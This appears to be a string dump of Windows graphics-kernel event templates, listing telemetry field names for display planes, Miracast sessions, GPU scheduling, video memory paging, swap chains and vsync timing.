PlaneIndex Data Name SDRWhiteLevel VidPnSourceId Flags SrcRect.left SrcRect.right SrcRect.top SrcRect.bottom DstRect.left DstRect.right DstRect.top DstRect.bottom ClipRect.left ClipRect.right ClipRect.top ClipRect.bottom Rotation Blend ColorSpaces StretchQuality PlaneIndex SDRWhiteLevel EventData Data Name hDevice Data Name VidPnSourceId hDevice VidPnSourceId EventData Data Name FunctionalDeviceObject Data Name Engaged FunctionalDeviceObject Engaged EventData Data Name FunctionalDeviceObject Data Name Percentage FunctionalDeviceObject Percentage EventData Data Name MiniportDeviceContext Data Name AdapterLuid Data Name TargetId Data Name I2CInterfaceVersion Data Name Ioctl Data Name Status Data Name InputDataLength Data Name OutputDataLength Data Name InputBuffer Data Name OutputBuffer Data Name InputBufferPtr Data Name OutputBufferPtr MiniportDeviceContext AdapterLuid TargetId I2CInterfaceVersion Ioctl Status InputDataLength OutputDataLength InputBuffer OutputBuffer InputBufferPtr OutputBufferPtr EventData Data Name MiniportDeviceContext Data Name AdapterLuid Data Name TargetId Data Name I2CInterfaceVersion Data Name Ioctl Data Name Status MiniportDeviceContext AdapterLuid TargetId I2CInterfaceVersion Ioctl Status EventData Data Name FunctionalDeviceObject Data Name ChildUid Data Name Type Data Name Connected Data Name MiracastMonitorType FunctionalDeviceObject ChildUid Type Connected MiracastMonitorType EventData Data Name hAdapter Data Name NodeOrdinal Data Name EngineOrdinal Data Name GpuFrequency Data Name GpuClock Data Name CpuClock hAdapter NodeOrdinal EngineOrdinal GpuFrequency GpuClock CpuClock EventData Data Name hAdapter Data Name NodeOrdinal Data Name EngineOrdinal Data Name GpuFrequency Data Name GpuClock Data Name CpuClock Data Name Flags hAdapter NodeOrdinal EngineOrdinal GpuFrequency GpuClock CpuClock Flags EventData Data Name hContext Data Name RenderCbSequence Data Name DmaSubmissionSequence Data Name Precision Data Name HistoryBufferSize Data Name HistoryBuffer hContext RenderCbSequence DmaSubmissionSequence Precision HistoryBufferSize HistoryBuffer EventData Data Name 'HighestPriorityLevelOfThresholdExceeded Data Name HighestPriorityLevel Data Name RemainingYieldBudget Data Name ThresholdExceededPriorityMapBits Data Name TickFrequency HighestPriorityLevelOfThresholdExceeded HighestPriorityLevel RemainingYieldBudget ThresholdExceededPriorityMapBits TickFrequency EventData Data Name PriorityLevelToSchedule Data Name ReadyContextMapBits Data Name ThresholdExceededPriorityMapBits Data Name bInYieldState Data Name bYieldStateStartTimeInitialized Data Name bYieldingDone Data Name YieldStartTime PriorityLevelToSchedule ReadyContextMapBits ThresholdExceededPriorityMapBits bInYieldState bYieldStateStartTimeInitialized bYieldingDone YieldStartTime EventData Data Name hContext Data Name SubmitSequence Data Name VidPnSourceId Data Name FlipToAllocation Data Name FlipInterval Data Name PlaneIndex Data Name SwapChainIndex Data Name CompositionSurfaceLuid Data Name BindId Data Name PresentCount Data Name FlipTrueImmediate Data Name VmBusChannel Data Name Duration Data Name PresentAtQpc Data Name SuppressVSync hContext SubmitSequence VidPnSourceId FlipToAllocation FlipInterval PlaneIndex SwapChainIndex CompositionSurfaceLuid BindId PresentCount FlipTrueImmediate VmBusChannel Duration PresentAtQpc SuppressVSync EventData Data Name Entering Data Name compositionSurfaceLuid Data Name VidPnSourceId Data Name Plane Data Name ApprovedPresentDuration Data Name PendingIndependentFlip Data Name bindId Data Name RequestedByDwm Data Name confirmationCookie Entering compositionSurfaceLuid VidPnSourceId Plane ApprovedPresentDuration PendingIndependentFlip bindId RequestedByDwm confirmationCookie EventData Data Name NewValue Data Name Optimized NewValue Optimized EventData Data Name Object Object EventData Data Name EProcess Data Name Section Data Name VirtualAddress EProcess Section VirtualAddress EventData Data Name EProcess Data Name Range Data Name Block Data Name Section Data Name Heap Data Name StartAddress Data Name EndAddress Data Name HeapType Data Name CreationState EProcess Range Block Section Heap StartAddress EndAddress HeapType CreationState EventData Data Name Range Data Name PreviousState Data Name NewState Range PreviousState NewState EventData Data Name Range Range EventData Data Name pDxgAdapter Data Name Flags Data Name SessionId pDxgAdapter Flags SessionId EventData Data Name VidPnSourceId Data Name Flags Data Name SrcRect.left Data Name SrcRect.right Data Name SrcRect.top Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.right Data Name DstRect.top Data Name DstRect.bottom Data Name Rotation VidPnSourceId Flags SrcRect.left SrcRect.right SrcRect.top SrcRect.bottom DstRect.left DstRect.right DstRect.top DstRect.bottom Rotation EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name hNotificationAdapter Data Name VidPnTargetId Data Name TimeOffset hAdapter hSyncObject Reason Flags SharedHandle hNotificationAdapter VidPnTargetId TimeOffset EventData Data Name pVidSchSyncObject Data Name VidPnSourceID Data Name TimeOffset Data Name RefreshPeriod Data Name NotificationID Data Name hNotification Data Name pHighResolutionTimer pVidSchSyncObject VidPnSourceID TimeOffset RefreshPeriod NotificationID hNotification pHighResolutionTimer EventData Data Name pVidSchSyncObject Data Name VidPnSourceID Data Name NotificationID Data Name IsrFrameTimeValue Data Name DueValue Data Name FrameNumber pVidSchSyncObject VidPnSourceID NotificationID IsrFrameTimeValue DueValue FrameNumber EventData Data Name VidPnSourceID Data Name NotificationID VidPnSourceID NotificationID EventData Data Name VidPnSourceID Data Name NotificationID Data Name DpcFrameTimeValue Data Name DpcFrameNumber VidPnSourceID NotificationID DpcFrameTimeValue DpcFrameNumber EventData Data Name hAdapter Data Name NodeOrdinal Data Name EngineOrdinal Data Name CpuTimestamp0 Data Name GpuTimestamp0 Data Name CpuTimestamp1 Data Name GpuTimestamp1 Data Name SchedulingLogSize Data Name SchedulingLogData hAdapter NodeOrdinal EngineOrdinal CpuTimestamp0 GpuTimestamp0 CpuTimestamp1 GpuTimestamp1 SchedulingLogSize SchedulingLogData EventData Data Name hContext Data Name NewContextState hContext NewContextState EventData Data Name pDxgObject Data Name pSchObject Data Name hKmdHandle Data Name hOsHandle pDxgObject pSchObject hKmdHandle hOsHandle EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name SessionId pDxgAdapter VidPnSourceId SessionId EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name PlaneCount Data Name PresentId Data Name InputFlags Data Name OutputFlags Data Name PostCompositionSrcRect.left Data Name PostCompositionSrcRect.right Data Name PostCompositionSrcRect.top Data Name PostCompositionSrcRect.bottom Data Name PostCompositionDstRect.left Data Name PostCompositionDstRect.right Data Name PostCompositionDstRect.top Data Name PostCompositionDstRect.bottom Data Name HDRMetaDataSpecified Data Name HDRMetaDataType Data Name FlipDoNotFlip Data Name FlipIntervalTarget Data Name Duration Data Name ThisFlipEarliestIdealTimeQpc Data Name TargetFlipTimeQpc Data Name TargetFlipTimeDeltaMs Data Name LayerIndex Data Name FlipSubmitSequence Data Name FlipPresentId pDxgAdapter VidPnSourceId PlaneCount PresentId InputFlags OutputFlags PostCompositionSrcRect.left PostCompositionSrcRect.right PostCompositionSrcRect.top PostCompositionSrcRect.bottom PostCompositionDstRect.left PostCompositionDstRect.right PostCompositionDstRect.top PostCompositionDstRect.bottom HDRMetaDataSpecified HDRMetaDataType FlipDoNotFlip FlipIntervalTarget Duration ThisFlipEarliestIdealTimeQpc TargetFlipTimeQpc TargetFlipTimeDeltaMs LayerIndex FlipSubmitSequence FlipPresentId EventData Data Name pDxgAdapter Data Name Allocation Data Name VidPnSourceId Data Name PlaneIndex Data Name VidPnSourceVisibilty pDxgAdapter Allocation VidPnSourceId PlaneIndex VidPnSourceVisibilty EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name PlaneIndex Data Name Enabled Data Name Flags Data Name SrcRect.left Data Name SrcRect.top Data Name SrcRect.right Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.top Data Name DstRect.right Data Name DstRect.bottom Data Name ClipRect.left Data Name ClipRect.top Data Name ClipRect.right Data Name ClipRect.bottom Data Name Blend Data Name ColorSpace Data Name SDRWhiteLevel pDxgAdapter VidPnSourceId PlaneIndex Enabled Flags SrcRect.left SrcRect.top SrcRect.right SrcRect.bottom DstRect.left DstRect.top DstRect.right DstRect.bottom ClipRect.left ClipRect.top ClipRect.right ClipRect.bottom Blend ColorSpace SDRWhiteLevel EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name Enabled Data Name SrcRect.left Data Name SrcRect.top Data Name SrcRect.right Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.top Data Name DstRect.right Data Name DstRect.bottom pDxgAdapter VidPnSourceId Enabled SrcRect.left SrcRect.top SrcRect.right SrcRect.bottom DstRect.left DstRect.top DstRect.right DstRect.bottom EventData Data Name pDxgAdapter Data Name SourceMaskFlushHwAndAbortSwQueue Data Name SourceMaskFlushHwAndKeepSwQueue Data Name SourceMaskDisableAllPlanes Data Name SourceMaskSuspendScheduler pDxgAdapter SourceMaskFlushHwAndAbortSwQueue SourceMaskFlushHwAndKeepSwQueue SourceMaskDisableAllPlanes SourceMaskSuspendScheduler EventData Data Name pDxgAdapter Data Name SourceMaskResumeScheduler pDxgAdapter SourceMaskResumeScheduler EventData Data Name pDxgAdapter Data Name CurrentUsingSource Data Name NewUsingSource Data Name ChangedSource Data Name RemovedSource Data Name NeedToActivateSource Data Name ActivityChangedSource Data Name TopologyChangeSource Data Name UpdatedSource Data Name RotatedSource Data Name PriorityChangeSource Data Name ReclaimSource Data Name RenewModeListSource Data Name MonitorChangedSource Data Name PowerOffSource Data Name HMDUsingSource Data Name HiddenSource Data Name VirtualRefreshRateChangeSources pDxgAdapter CurrentUsingSource NewUsingSource ChangedSource RemovedSource NeedToActivateSource ActivityChangedSource TopologyChangeSource UpdatedSource RotatedSource PriorityChangeSource ReclaimSource RenewModeListSource MonitorChangedSource PowerOffSource HMDUsingSource HiddenSource VirtualRefreshRateChangeSources EventData Data Name hContext Data Name AbsolutePriority Data Name PriorityBand Data Name PriorityLevel Data Name KnownProcessBoostEnabled Data Name IgnoreGpuPriorityChange Data Name SmallQuantumEnabled hContext AbsolutePriority PriorityBand PriorityLevel KnownProcessBoostEnabled IgnoreGpuPriorityChange SmallQuantumEnabled EventData Data Name MiniportContext Data Name MaxChunkPrivateDriverDataSize Data Name MiracastCaps Data Name ReturnStatus MiniportContext MaxChunkPrivateDriverDataSize MiracastCaps ReturnStatus EventData Data Name MiniportContext Data Name MiracastContext Data Name TargetId Data Name ReturnStatus MiniportContext MiracastContext TargetId ReturnStatus EventData Data Name MiniportContext Data Name MiracastContext Data Name InputBufferSize Data Name OutputBufferSize Data Name ReturnStatus MiniportContext MiracastContext InputBufferSize OutputBufferSize ReturnStatus EventData Data Name MiniportContext Data Name MiracastContext MiniportContext MiracastContext EventData Data Name MiracastLuid Data Name InputBufferSize Data Name OutputBufferSize Data Name Callback Data Name CallbackContext Data Name ReturnStatus MiracastLuid InputBufferSize OutputBufferSize Callback CallbackContext ReturnStatus EventData Data Name MiniportContext Data Name MiracastLuid Data Name SqmStringEntry Data Name MiracastStopSessionReason Data Name StatusForStopReason MiniportContext MiracastLuid SqmStringEntry MiracastStopSessionReason StatusForStopReason EventData Data Name MiracastLuid Data Name Synchronous Data Name InputBufferSize Data Name OutputBufferSize Data Name ReturnStatus MiracastLuid Synchronous InputBufferSize OutputBufferSize ReturnStatus EventData Data Name MiracastLuid Data Name MiracastStartSessionStage MiracastLuid MiracastStartSessionStage EventData Data Name MiracastLuid Data Name MiracastStopSessionStage MiracastLuid MiracastStopSessionStage EventData Data Name MiracastStartSessionFailPoint Data Name StartSessionFailureCode Data Name GraphicsDeviceId Data Name SinkDeviceInformation MiracastStartSessionFailPoint StartSessionFailureCode GraphicsDeviceId SinkDeviceInformation EventData Data Name StopSessionReason Data Name StopSessionErrorCode Data Name GraphicsDeviceId Data Name SinkDeviceInformation StopSessionReason StopSessionErrorCode GraphicsDeviceId SinkDeviceInformation EventData Data Name MiracastLuid Data Name MiracastDeviceState Data Name MiracastDeviceStatus MiracastLuid MiracastDeviceState MiracastDeviceStatus EventData Data Name MiracastLuid Data Name VidPnTargetId Data Name ChunkType Data Name FrameNumber Data Name PartNumber Data Name ProcessingTime Data Name EncodeRate Data Name PrivateDataDriverSize Data Name Status MiracastLuid VidPnTargetId ChunkType FrameNumber PartNumber ProcessingTime EncodeRate PrivateDataDriverSize Status EventData Data Name MiracastLuid Data Name ChunkType Data Name FrameNumber Data Name PartNumber Data Name ProcessingTime Data Name EncodeRate Data Name PrivateDataDriverSize MiracastLuid ChunkType FrameNumber PartNumber ProcessingTime EncodeRate PrivateDataDriverSize EventData Data Name MiniportContext MiniportContext EventData Data Name MiracastLuid Data Name hMiracastDeviceHandle Data Name pMiracastCallbacks Data Name ReturnStatus MiracastLuid hMiracastDeviceHandle pMiracastCallbacks ReturnStatus EventData Data Name MiracastLuid MiracastLuid EventData Data Name MiracastLuid Data Name CurrentBitRate Data Name LocalMaxBitRate Data Name RemoteMaxBitRate Data Name MiracastSessionInfo Data Name ReturnStatus MiracastLuid CurrentBitRate LocalMaxBitRate RemoteMaxBitRate MiracastSessionInfo ReturnStatus EventData Data Name MiracastLuid MiracastLuid EventData Data Name MiracastLuid Data Name InputBufferSize Data Name OutputBufferSize Data Name ReturnStatus MiracastLuid InputBufferSize OutputBufferSize ReturnStatus EventData Data Name MiracastLuid Data Name MiracastSessionStatus Data Name Status MiracastLuid MiracastSessionStatus Status EventData Data Name MiracastLuid Data Name HardwareAccess Data Name InputBufferSize Data Name OutputBufferSize MiracastLuid HardwareAccess InputBufferSize OutputBufferSize EventData Data Name MiracastLuid Data Name TimeoutInMilliseconds Data Name AdditionalWaitEventCount MiracastLuid TimeoutInMilliseconds AdditionalWaitEventCount EventData Data Name MiracastLuid Data Name ChunkType Data Name FrameNumber Data Name PartNumber Data Name ProcessingTime Data Name EncodeRate Data Name PrivateDriverDataSize Data Name OutstandingChunksToProcess Data Name ReturnStatus MiracastLuid ChunkType FrameNumber PartNumber ProcessingTime EncodeRate PrivateDriverDataSize OutstandingChunksToProcess ReturnStatus EventData Data Name MiracastLuid Data Name pfnDataRateNotify MiracastLuid pfnDataRateNotify EventData Data Name MiracastLuid Data Name ChunkType Data Name FrameNumber Data Name PartNumber Data Name ProcessingTime Data Name EncodeRate MiracastLuid ChunkType FrameNumber PartNumber ProcessingTime EncodeRate EventData Data Name MiracastLuid Data Name FrameNumber Data Name PartNumber MiracastLuid FrameNumber PartNumber EventData Data Name MiracastLuid Data Name ProtocolEvent MiracastLuid ProtocolEvent EventData Data Name MiracastLuid Data Name IoControlCode Data Name HardwareAccess Data Name InputBufferSize Data Name OutputBufferSize Data Name ReturnStatus MiracastLuid IoControlCode HardwareAccess InputBufferSize OutputBufferSize ReturnStatus EventData Data Name Status Data Name EncoderBitRate Data Name CurrentMaxTxDataRate Data Name FailedFrameCount Data Name MultipleRetryFrameCount Data Name RetriedFrameCount Data Name TransmittedFrameCount Status EncoderBitRate CurrentMaxTxDataRate FailedFrameCount MultipleRetryFrameCount RetriedFrameCount TransmittedFrameCount EventData Data Name EncoderBitRate Data Name MaxLocalRate Data Name MaxRemoteRate EncoderBitRate MaxLocalRate MaxRemoteRate EventData Data Name MiracastLuid Data Name Step MiracastLuid Step EventData Data Name AssociationId Data Name GraphicsDeviceId Data Name SinkDeviceInformation AssociationId GraphicsDeviceId SinkDeviceInformation EventData Data Name DroppedFrames Data Name TotalFrames Data Name GraphicsDeviceId Data Name GraphicsDriverVersion Data Name SinkDeviceInformation DroppedFrames TotalFrames GraphicsDeviceId GraphicsDriverVersion SinkDeviceInformation EventData Data Name AverageFrameLatency Data Name TotalFrames Data Name GraphicsDeviceId Data Name GraphicsDriverVersion AverageFrameLatency TotalFrames GraphicsDeviceId GraphicsDriverVersion EventData Data Name IFrameRequests Data Name TotalFrames Data Name GraphicsDeviceId Data Name SinkDeviceInformation IFrameRequests TotalFrames GraphicsDeviceId SinkDeviceInformation EventData Data Name GraphicsVendorId Data Name GraphicsDeviceId Data Name GraphicsDeviceDescription Data Name GraphicsDriverVersion Data Name SinkDeviceInformation Data Name TotalProcessedFrames Data Name TotalDroppedFrames Data Name TotalDriverProcessTime Data Name TotalIFrameRequests Data Name TotalDroppedFrameReports Data Name MaxDroppedFramesInOneBucket Data Name TotalIFrameRequestReports Data Name MaxIFrameRequestsInOneBucket Data Name TotalGraphicsLatencyReport Data Name %MaxIAverageGraphicsLatencyInOneBucket GraphicsVendorId GraphicsDeviceId GraphicsDeviceDescription GraphicsDriverVersion SinkDeviceInformation TotalProcessedFrames TotalDroppedFrames TotalDriverProcessTime TotalIFrameRequests TotalDroppedFrameReports MaxDroppedFramesInOneBucket TotalIFrameRequestReports MaxIFrameRequestsInOneBucket TotalGraphicsLatencyReport MaxIAverageGraphicsLatencyInOneBucket EventData Data Name MiracastLuid Data Name FrameNumber Data Name PartNumber Data Name ViolationType MiracastLuid FrameNumber PartNumber ViolationType EventData Data Name DeviceObject Data Name OldBrightness Data Name NewBrightness Data Name Result DeviceObject OldBrightness NewBrightness Result EventData Data Name DeviceObject Data Name OldOptimizationLevel Data Name NewOptimizationLevel Data Name Result DeviceObject OldOptimizationLevel NewOptimizationLevel Result EventData Data Name pDmaBuffer pDmaBuffer EventData Data Name pDxgAdapterAllocation Data Name Flags Data Name Width Data Name Height Data Name Format Data Name RefreshRateNumerator Data Name RefreshRateDenominator Data Name VidPnSourceId pDxgAdapterAllocation Flags Width Height Format RefreshRateNumerator RefreshRateDenominator VidPnSourceId EventData Data Name pDxgAdapterAllocation Data Name Flags Data Name Width Data Name Height Data Name Format Data Name Pitch pDxgAdapterAllocation Flags Width Height Format Pitch EventData Data Name pDxgAdapterAllocation Data Name Flags Data Name Width Data Name Height Data Name Pitch pDxgAdapterAllocation Flags Width Height Pitch EventData Data Name pDxgAdapterAllocation Data Name Flags Data Name Width Data Name Height Data Name Format Data Name GdiSurfaceType Data Name GdiSurfaceFlags Data Name Pitch pDxgAdapterAllocation Flags Width Height Format GdiSurfaceType GdiSurfaceFlags Pitch EventData Data Name pVidMmAlloc Data Name ResidencyCount pVidMmAlloc ResidencyCount EventData Data Name pVidMmAlloc Data Name ResidencyCount pVidMmAlloc ResidencyCount EventData Data Name pPagingQueue Data Name pSyncObject Data Name NumAllocations Data Name Flags pPagingQueue pSyncObject NumAllocations Flags EventData Data Name Status Data Name NumBytesToTrim Data Name PagingFenceValue Status NumBytesToTrim PagingFenceValue EventData Data Name DxgDevice Data Name PagingQueue Data Name PagingQueuePacket Data Name SequenceId Data Name VidMmOpType Data Name Alloc Data Name PagingQueueType DxgDevice PagingQueue PagingQueuePacket SequenceId VidMmOpType Alloc PagingQueueType EventData Data Name DxgAdapter Data Name PagingQueue Data Name PagingQueuePacket Data Name SequenceId Data Name VidMmOpType Data Name PagingQueueType DxgAdapter PagingQueue PagingQueuePacket SequenceId VidMmOpType PagingQueueType EventData Data Name PagingQueue Data Name PagingQueuePacket Data Name SequenceId PagingQueue PagingQueuePacket SequenceId EventData Data Name PagingQueue Data Name PagingQueuePacket Data Name SequenceId Data Name ExecutionTime100ns PagingQueue PagingQueuePacket SequenceId ExecutionTime100ns EventData Data Name Owner Data Name OwnerType Data Name VaRangeStart Data Name VaRangeSize Owner OwnerType VaRangeStart VaRangeSize EventData Data Name VidMmAlloc VidMmAlloc EventData Data Name EProcess Data Name ProcessStatus EProcess ProcessStatus EventData Data Name pVaAllocator Data Name hProcessId Data Name pDxgAdapter pVaAllocator hProcessId pDxgAdapter EventData Data Name pVaAllocator Data Name Flags Data Name StartAddress Data Name EndAddress pVaAllocator Flags StartAddress EndAddress EventData Data Name pVaAllocator Data Name pOwner Data Name OwnerOffset Data Name StartAddress Data Name EndAddress Data Name Protection Data Name DriverProtection Data Name Flags Data Name MappedAllocationBase Data Name MappedAllocationSize pVaAllocator pOwner OwnerOffset StartAddress EndAddress Protection DriverProtection Flags MappedAllocationBase MappedAllocationSize EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name hDevice Data Name SurfaceCount Data Name hBufferAvailableEvent Data Name hNtSwapChain pSwapChain Status bProducer hDevice SurfaceCount hBufferAvailableEvent hNtSwapChain EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name hDevice Data Name hBufferAvailableEvent Data Name hNtSwapChain pSwapChain Status bProducer hDevice hBufferAvailableEvent hNtSwapChain EventData Data Name pSwapChain Data Name SurfaceIdx Data Name hVidMmAllocation pSwapChain SurfaceIdx hVidMmAllocation EventData Data Name pSwapChain pSwapChain EventData Data Name pSwapChain pSwapChain EventData Data Name pSwapChain Data Name ProducerEventSignaled Data Name ClientEventSignaled pSwapChain ProducerEventSignaled ClientEventSignaled EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name bReleaseBeforeAcquire Data Name AcquiredBufferIdx Data Name AcquireMetadataSize pSwapChain Status bProducer bReleaseBeforeAcquire AcquiredBufferIdx AcquireMetadataSize EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name MetadataSize Data Name EventSignaled pSwapChain Status bProducer MetadataSize EventSignaled EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name bGlobal Data Name pMetaDataBuf Data Name DataCopied Data Name MetaDataDword1 Data Name MetaDataDword2 Data Name MetaDataDword3 Data Name MetaDataDword4 pSwapChain Status bProducer bGlobal pMetaDataBuf DataCopied MetaDataDword1 MetaDataDword2 MetaDataDword3 MetaDataDword4 EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name bGlobal Data Name pMetaDataBuf Data Name DataOffset Data Name DataCopied Data Name MetaDataDword1 Data Name MetaDataDword2 Data Name MetaDataDword3 Data Name MetaDataDword4 pSwapChain Status bProducer bGlobal pMetaDataBuf DataOffset DataCopied MetaDataDword1 MetaDataDword2 MetaDataDword3 MetaDataDword4 EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name hSurface Data Name SurfaceIdx pSwapChain Status bProducer hSurface SurfaceIdx EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name hSurface Data Name SurfaceIdx pSwapChain Status bProducer hSurface SurfaceIdx EventData Data Name pSwapChain Data Name Status Data Name bProducer Data Name hSurface Data Name SurfaceIdx Data Name MetadataSize pSwapChain Status bProducer hSurface SurfaceIdx MetadataSize EventData Data Name VidMmDevice Data Name PagingQueue Data Name PagingQueuePacket VidMmDevice PagingQueue PagingQueuePacket EventData Data Name Status Data Name PageInPass Data Name OverBudget Data Name PriorityBandRestriction Data Name PageInPreferredOnly Data Name Recoverable Data Name FailedVidMmAlloc Status PageInPass OverBudget PriorityBandRestriction PageInPreferredOnly Recoverable FailedVidMmAlloc EventData Data Name Function Function EventData Data Name pDxgDevice Data Name TargetBand pDxgDevice TargetBand EventData Data Name pDxgDevice pDxgDevice EventData Data Name pDxgDevice Data Name pYieldedTo Data Name Delta pDxgDevice pYieldedTo Delta EventData Data Name pDxgDevice pDxgDevice EventData Data Name PhysicalAdapterIndex Data Name DriverSegmentIndex Data Name VprIndex Data Name NewStartOffset Data Name NewSize Data Name pDxgAdapter PhysicalAdapterIndex DriverSegmentIndex VprIndex NewStartOffset NewSize pDxgAdapter EventData Data Name pDxgAdapter Data Name YieldingPriority Data Name YieldBudget pDxgAdapter YieldingPriority YieldBudget EventData Data Name pDxgAdapter Data Name NodeOrdinal Data Name YieldExpirationInterval Data Name YieldTimerExpirationInterval pDxgAdapter NodeOrdinal YieldExpirationInterval YieldTimerExpirationInterval EventData Data Name pDxgAdapter Data Name NodeOrdinal pDxgAdapter NodeOrdinal EventData Data Name NodeOrdinal Data Name hContext Data Name DefaultQuantum Data Name RemainingQuantum Data Name LastRunningTimeCalculatedAt Data Name LastRunningTime NodeOrdinal hContext DefaultQuantum RemainingQuantum LastRunningTimeCalculatedAt LastRunningTime EventData Data Name NodeOrdinal Data Name YieldPriorityLevel Data Name hContext Data Name DefaultQuantum Data Name RemainingQuantum Data Name LastRunningTimeCalculatedAt Data Name LastRunningTime NodeOrdinal YieldPriorityLevel hContext DefaultQuantum RemainingQuantum LastRunningTimeCalculatedAt LastRunningTime EventData Data Name pDxgAdapter pDxgAdapter EventData Data Name pDxgAdapter pDxgAdapter EventData Data Name pDxgAdapter Data Name YieldCondition Data Name Parameter0 Data Name Parameter1 Data Name Parameter2 Data Name Parameter3 pDxgAdapter YieldCondition Parameter0 Parameter1 Parameter2 Parameter3 EventData Data Name pDxgAdapter Data Name YieldPriorityBand Data Name RunningTime Data Name NodeOrdinal pDxgAdapter YieldPriorityBand RunningTime NodeOrdinal EventData Data Name pDxgAdapter Data Name FlushSchedulerReason Data Name VidPnSourceId pDxgAdapter FlushSchedulerReason VidPnSourceId EventData Data Name Timeout Data Name WakeReason Timeout WakeReason EventData Data Name Function Data Name AdapterLuid Data Name VidPnTargetId Data Name PresentCount Data Name PresentRefreshCount Data Name SyncRefreshCount Data Name SyncQPCTime Data Name NewIndirectFrame Data Name SubmissionTime Data Name DisplayTime Data Name SubmissionToDisplayTimeDelta Function AdapterLuid VidPnTargetId PresentCount PresentRefreshCount SyncRefreshCount SyncQPCTime NewIndirectFrame SubmissionTime DisplayTime SubmissionToDisplayTimeDelta EventData Data Name TimeoutOccurred Data Name FrameIsDone Data Name LastFrameNumber Data Name NewPresentCount Data Name CurRefreshCount Data Name IndirectPresentTargetVSync TimeoutOccurred FrameIsDone LastFrameNumber NewPresentCount CurRefreshCount IndirectPresentTargetVSync EventData Data Name VsyncType Data Name Status Data Name VsyncEvent VsyncType Status VsyncEvent EventData Data Name VsyncType Data Name VsyncEvent VsyncType VsyncEvent EventData Data Name VsyncTypeAtStart Data Name VsyncTypeAtEnd Data Name VsyncEvent VsyncTypeAtStart VsyncTypeAtEnd VsyncEvent EventData Data Name UpdateLocation Data Name CurRefreshCount Data Name LastVSyncTime Data Name LastVSyncTimeSnapped Data Name Delta Data Name FramePeriod_QPC_x100 Data Name Corrections Data Name VsyncWaiters UpdateLocation CurRefreshCount LastVSyncTime LastVSyncTimeSnapped Delta FramePeriod_QPC_x100 Corrections VsyncWaiters EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name FrameNumber Data Name FrameQpcDisplayTime Data Name OriginalFrameQpcDisplayTime Data Name FrameSubmissionTime Data Name OriginalFrameQpcDisplayTimeDelta Data Name CalculationMethod Data Name PresentOnVSyncCount AdapterLuid VidPnTargetId FrameNumber FrameQpcDisplayTime OriginalFrameQpcDisplayTime FrameSubmissionTime OriginalFrameQpcDisplayTimeDelta CalculationMethod PresentOnVSyncCount EventData Data Name ExpirationTime Data Name NextVsycQpcTime Data Name CurrTime Data Name CurrFreq Data Name LastVSyncTimeSnapped Data Name VSyncPeriod ExpirationTime NextVsycQpcTime CurrTime CurrFreq LastVSyncTimeSnapped VSyncPeriod EventData Data Name TargetDWMVSync TargetDWMVSync EventData Data Name AdapterLuid Data Name BltQueueWakeReason Data Name VSyncWork Data Name UpdateModeWork Data Name FlushWork AdapterLuid BltQueueWakeReason VSyncWork UpdateModeWork FlushWork EventData Data Name pSyncObject Data Name KMTHandle Data Name pDxgDevice Data Name pDxgSyncObject pSyncObject KMTHandle pDxgDevice pDxgSyncObject EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name FrameNumber AdapterLuid VidPnTargetId FrameNumber EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name FrameNumber Data Name FrontOfQueue Data Name AddReason Data Name SubmissionTime AdapterLuid VidPnTargetId FrameNumber FrontOfQueue AddReason SubmissionTime EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name FrameNumber Data Name Status Data Name Source AdapterLuid VidPnTargetId FrameNumber Status Source EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name FrameNumber AdapterLuid VidPnTargetId FrameNumber EventData Data Name ContextPtr Data Name hAdapter Data Name VidPnSourceId Data Name KeyedMutexCount ContextPtr hAdapter VidPnSourceId KeyedMutexCount EventData Data Name ContextPtr Data Name KeyedMutexIdx Data Name LastPresentTime Data Name LastMouseUpdateTime Data Name AccumulatedFrames Data Name RectsCoalesced Data Name ProtectedContentMaskedOut Data Name TotalMetadataBufferSize Data Name PointerShapeBufferSize ContextPtr KeyedMutexIdx LastPresentTime LastMouseUpdateTime AccumulatedFrames RectsCoalesced ProtectedContentMaskedOut TotalMetadataBufferSize PointerShapeBufferSize EventData Data Name ContextPtr Data Name KeyedMutexIdx Data Name PresentUpdateStatusCurrent Data Name bAccumulatedFrameUpdated Data Name bKeyMutexTriggered Data Name Status ContextPtr KeyedMutexIdx PresentUpdateStatusCurrent bAccumulatedFrameUpdated bKeyMutexTriggered Status EventData Data Name ContextPtr Data Name KeyedMutexIdx Data Name UpdateType Data Name PresentUpdateStatusCurrent Data Name AccumulatedFrames Data Name PresentUpdateStatusAccumulated Data Name bAcquiredMutex Data Name bConsumerAcquired Data Name #bConsumerDeviceStillProcessingFrame Data Name bNewUpdateReady Data Name bAccumulatedFrameUpdated Data Name "bMovedCurrentPresentsToAccumulated Data Name bKeyedMutexReleasedToConsumer Data Name bUsedGdiRgn Data Name Status ContextPtr KeyedMutexIdx UpdateType PresentUpdateStatusCurrent AccumulatedFrames PresentUpdateStatusAccumulated bAcquiredMutex bConsumerAcquired bConsumerDeviceStillProcessingFrame bNewUpdateReady bAccumulatedFrameUpdated bMovedCurrentPresentsToAccumulated bKeyedMutexReleasedToConsumer bUsedGdiRgn Status EventData Data Name ContextPtr Data Name KeyedMutexIdx Data Name hSrc Data Name hDst Data Name BltRectCounts Data Name Status ContextPtr KeyedMutexIdx hSrc hDst BltRectCounts Status EventData Data Name ContextPtr ContextPtr EventData Data Name hProcessId Data Name hVidMmGlobalAlloc Data Name PageCount Data Name Pages hProcessId hVidMmGlobalAlloc PageCount Pages EventData Data Name hVidMmGlobalAlloc hVidMmGlobalAlloc EventData Data Name AdapterFdoContext Data Name DevicePowerState Data Name Reason 